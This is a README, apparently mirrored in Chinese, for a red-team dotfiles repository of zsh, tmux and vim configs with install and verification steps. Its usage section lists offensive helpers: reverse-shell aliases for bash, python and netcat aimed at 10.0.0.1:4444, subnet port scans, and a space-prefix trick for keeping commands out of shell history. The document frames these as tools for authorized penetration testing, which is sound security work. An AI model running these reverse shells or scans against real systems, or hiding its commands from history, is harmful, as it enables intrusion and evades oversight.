Maleick/dotfiles

GitHub: Maleick/dotfiles

专为授权红队行动设计的便携式 zsh、tmux 和 vim 配置集,提供渗透测试专用别名、OPSEC 感知功能和终端工作流优化。

Stars: 6 | Forks: 1

# 红队 Dotfiles [![Red Team Dotfiles - Operator Field Kit](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/f61c8a6753110838.svg)](assets/dotfiles-banner.svg) [![版本](https://img.shields.io/badge/version-2.1.1-ff4d5e.svg?style=flat)](VERSION) [![文档](https://img.shields.io/badge/docs-dotfiles.teamoperator.red-00dfff.svg?style=flat)](https://dotfiles.teamoperator.red) [![Shell](https://img.shields.io/badge/shell-zsh-ff8a3d.svg?style=flat)](zsh/.zshrc) [![Tmux](https://img.shields.io/badge/tmux-operator%20workflows-ff4d5e.svg?style=flat)](tmux/.tmux.conf) [![Vim](https://img.shields.io/badge/vim-terminal%20ready-00dfff.svg?style=flat)](vim/.vimrc) **操作员野战装备** 适用于 **zsh**、**tmux** 和 **vim**,专为授权红队行动定制。便携式 shell 人体工程学、OPSEC 感知默认值、tmux 工作流快捷键,以及无需额外运行时依赖的终端优先 Vim 行为。 [文档](https://dotfiles.teamoperator.red) • [维基](https://github.com/Maleick/dotfiles/wiki) • [安装](#-installation) • [验证](#validation-wrapper) ## ✨ 功能特性 - 🔴 **红队专用**:渗透测试别名和函数 - 🎯 **终端无关**:现代终端中一致的提示符和行为 - 🌐 **网络工具**:IPv4/IPv6 IP 检测,支持服务冗余 - 🛡️ **OPSEC 感知**:以空格开头的命令不会被记录 - 🧰 **aliasr 集成**:zsh 和 tmux 键绑定中的 `a` 别名,用于 aliasr 渗透测试启动器 - 🧭 **终端感知运行时**:Shell 检测终端模拟器(iTerm2、Warp 等)并调整提示符/标题行为 - 🧪 **启动加固**:`zsh` 启动使用受保护的可选加载器和软失败辅助路径 - 🧱 **辅助回退**:核心辅助命令使用跨主机差异的受保护回退路径 - 🧾 **Tmux 历史捕获**:`Prefix + S` 将窗格历史保存到 `~/Logs` - 📝 **Vim 启动回退**:即使可选插件工具不可用,Vim 也能干净启动 - ⚡ **快速简洁**:最小开销,最大功能 - 🔧 **跨平台**:支持 macOS、Linux 和 WSL2 ## 🚀 安装 ### 前置条件 - [Zsh](https://www.zsh.org/) - Shell - [Tmux](https://github.com/tmux/tmux/wiki) - 终端复用器 - [Vim](https://www.vim.org/) - 文本编辑器 ### 快速安装 ``` # 克隆仓库 git clone https://github.com/Maleick/dotfiles.git /opt/dotfiles cd /opt/dotfiles # 运行安装脚本 ./install.sh ``` ### 功能说明 1. 创建现有 dotfiles 备份 2. 符号链接 zsh、tmux 和 vim 配置 3. 设置红队别名和函数 ### 验证安装 ``` # 重启 shell 或运行 source ~/.zshrc # 查看可用命令 /help ``` ### 基线验证 使用阶段 1 检查清单进行可重复的安装程序和运行时基线检查: - `.planning/phases/01-installation-baseline/01-VERIFICATION-CHECKLIST.md` 检查清单包含语法检查、tmux/vim 启动完整性、安装程序重新运行验证和预期符号链接目标。 ### Shell 可靠性验证 进行 shell 相关更改后,从仓库根目录运行以下检查: ``` zsh -n zsh/.zshrc TERM_PROGRAM=WarpTerminal ZDOTDIR=/opt/dotfiles/zsh zsh -i -c 'echo "${WARP_TERMINAL:-0}"' TERM_PROGRAM=Apple_Terminal ZDOTDIR=/opt/dotfiles/zsh zsh -i -c 'echo "${WARP_TERMINAL:-0}"' ZDOTDIR=/opt/dotfiles/zsh zsh -i -c 'base64decode dGVzdA==' ZDOTDIR=/opt/dotfiles/zsh zsh -i -c 'localip >/dev/null && netinfo >/dev/null' ``` 预期行为: - Warp shell 检查打印 `1`;非 Warp 打印 `0`。 - `base64decode dGVzdA==` 在 macOS 和 Linux 上打印 `test`。 - `myip*`、`localip` 和 `netinfo` 在失败前使用受保护的回退路径。 - `webserver`、`http-server`、`https-server` 和 `quickscan` 在缺少依赖时返回可操作的错误。 ### 文档和发布验证检查清单 在可靠性或文档/发布更新后运行此检查清单,以验证端到端一致性: ``` # 1) 安装/符号链接基线 ./install.sh ls -l ~/.zshrc ~/.tmux.conf ~/.vimrc # 2) Shell 检查 zsh -n zsh/.zshrc TERM_PROGRAM=WarpTerminal ZDOTDIR=/opt/dotfiles/zsh zsh -i -c 'echo "${WARP_TERMINAL:-0}"' TERM_PROGRAM=Apple_Terminal ZDOTDIR=/opt/dotfiles/zsh zsh -i -c 'echo "${WARP_TERMINAL:-0}"' ZDOTDIR=/opt/dotfiles/zsh zsh -i -c 'base64decode dGVzdA==' # 3) Tmux 检查 tmux -f /opt/dotfiles/tmux/.tmux.conf -L gsd-docs-check start-server \; kill-server rg -n '^bind (S|U|K|s) ' tmux/.tmux.conf rg -n 'Logs|choose-tree|aliasr' tmux/.tmux.conf # 4) Vim 检查 vim -Nu /opt/dotfiles/vim/.vimrc -n -es -c 'qa!' TMP_HOME="$(mktemp -d)" && HOME="$TMP_HOME" vim -Nu /opt/dotfiles/vim/.vimrc -n -es -c 'qa!' && rm -rf "$TMP_HOME" rg -n "catppuccin_mocha|dracula|molokai|plug#begin|coc#refresh" vim/.vimrc # 5) 文档/发布完整性检查 VER="$(cat VERSION)" rg -n "^## \\[$VER\\]" CHANGELOG.md rg -n "version-" README.md ``` 预期结果: - 所有命令成功退出。 - 文档中的运行时契约声明映射到当前源文件。 - `VERSION` 和最新变更日志发布标题保持一致。 ### 验证包装器(阶段 7 模式) 运行仓库根目录的验证包装器: ``` ./scripts/verify-suite.sh ``` 包装器契约: - 从仓库根目录非交互式运行(只读验证;不运行 `install.sh`)。 - 默认模式(无标志)打印确定性每项检查状态:`PASS`、`FAIL`、`SKIP`。 - 默认模式打印带有 PASS/FAIL/SKIP 计数的确定性摘要行。 - 仅当必需检查通过时退出 `0`;任何必需检查失败时退出非零。 - Tmux 使用内置历史捕获和 `choose-tree` 会话切换。 附加模式: ``` # 快速模式:锁定的最小必需检查子集 + 明确的快速跳过 ./scripts/verify-suite.sh --quick # 机器可读模式(JSON 负载) ./scripts/verify-suite.sh --json # 组合模式:快速选择 + JSON 输出 ./scripts/verify-suite.sh --quick --json ``` 模式行为说明: - `--quick` 保留必需的失败语义,并将仅完整必需的检查显示为明确的快速模式 `SKIP` 条目。 - `--json` 发出确定性每项检查记录加上确定性摘要计数。 - `--quick --json` 使用快速模式检查选择和 JSON 输出。 - 为现有无标志用法保留向后兼容性。 ### 兼容性矩阵(阶段 6 覆盖) 兼容性指南在以下位置跟踪: - `.planning/compatibility/v1.1-matrix.md` 自动化行更新流程(阶段 8): ``` # 从当前主机捕获观察到的证据 ./scripts/verify-suite.sh --json > /tmp/verify-evidence.json # 更新现有矩阵密钥(环境配置文件 + 检查范围) ./scripts/update-compat-matrix.sh \ --evidence /tmp/verify-evidence.json \ --env-profile "macOS (Darwin arm64, current host)" \ --check-scope "install/shell/tmux/vim/docs parity" \ --caveat "host-specific: observed wrapper JSON run from current host" \ --command-ref "./scripts/verify-suite.sh --json" \ --date 2026-02-25 ``` 自动化行为: - 仅使用观察到的包装器证据(`./scripts/verify-suite.sh --json` 负载)。 - 使用矩阵行标识键 `Environment Profile` + `Check Scope`。 - 就地更新现有键行;确定性插入新键行。 - 对格式错误的证据输入或格式错误的矩阵架构快速失败。 - 保留状态词汇约束(`PASS` / `SKIP` / `FAIL`)和必需字段: - `Environment Profile` - `Check Scope` - `Status` - `Caveat` - `Command Set Reference` - `Last Validated` 使用方法: - 将矩阵行视为观察到的命令运行结果,而非推断的平台声明。 - 状态解读: - `PASS`:观察到的运行在列出的范围/环境下成功。 - `FAIL`:观察到的运行在列出的范围/环境下失败。 - `SKIP`:在该环境/会话中未观察到;依赖前阅读注意事项。 - 使用 `Command Set Reference` 加上 `Last Validated` 确认证据来源和时效性。 当验证/运行时/文档行为变更时,在里程碑关闭前刷新矩阵行,以使矩阵预期与当前契约保持一致。 ### 本地覆盖(可选) 对于特定机器或敏感配置(API 密钥、本地路径、安装程序添加的 PATH 等),创建 `~/.zshrc.local`: ``` # 创建本地覆盖文件 cat > ~/.zshrc.local << 'EOF' # 特定机器配置 export MY_API_KEY="your-secret-key" # 安装程序添加工具路径(bun、LM Studio 等) export BUN_INSTALL="$HOME/.bun" export PATH="$BUN_INSTALL/bin:$PATH" EOF chmod 600 ~/.zshrc.local ``` **重要**:当包安装程序向 `~/.zshrc` 追加行时,将其移至 `~/.zshrc.local`——这使 git 跟踪的 dotfile 在各机器间可移植。`.zshrc.local` 自动获取源且不同步到仓库。 ## 💻 使用示例 ### 网络侦察 ``` # 外部 IP 检测(IPv4/IPv6) myip # External IPv4 address (force IPv4) myip6 # External IPv6 address myip-alt # Alternative service (ipinfo.io) myip-check # Backup service (icanhazip.com) get_external_ip # Store IP in $EXTERNAL_IP variable localip # Local IP address netinfo # Complete network information # 端口扫描 quickscan 192.168.1.0/24 # Fast subnet scan nmap-top-ports 192.168.1.1 # Scan top 1000 ports ``` ### Web 服务器和工具 ``` webserver # HTTP server on port 8080 https-server # HTTPS server (needs cert.pem/key.pem) ``` ### 编码/解码 ``` base64encode "test data" # dGVzdCBkYXRh base64decode "dGVzdCBkYXRh" # test data urlencode "hello world" # hello%2Bworld rot13 # ROT13 cipher ``` ### 反向 Shell ``` rev-shell bash 10.0.0.1 4444 # Bash reverse shell rev-shell python 10.0.0.1 4444 # Python reverse shell rev-shell nc 10.0.0.1 4444 # Netcat reverse shell ``` ### Tmux 功能 ``` tmux # Start tmux session # Prefix + S # 保存面板历史记录 # Prefix + U / K # 在分割窗格中打开 aliasr(仅发送 / 发送+执行) ``` ### aliasr 启动器 ``` a # Open aliasr TUI for red-team commands (requires aliasr installed) ``` ## 🔒 OPSEC 注意事项 - **以空格开头的命令不会被记录** - 使用 ` command` 进行敏感操作 - **仅在授权系统上使用** - 遵守适用法律和法规 - **自动创建备份** - 安装脚本会备份现有配置 ## 🔄 更新 ``` # 更新到最新版本 cd /opt/dotfiles git pull # 检查当前版本 cat VERSION ``` ## 📝 可用命令 ``` # 查看所有可用的红队命令 /help ``` **注意**:本项目仅用于教育和授权安全测试。请负责任地使用并遵守所有适用法律。 🔴 **红队快乐!** 🔴
标签:dotfiles, OPSEC, Pentest, Red Team, Shell配置, tmux, vim, zsh, 人体工程学, 便携工具, 启动加固, 快捷键, 数据展示, 日志捕获, 红队, 终端, 网络工具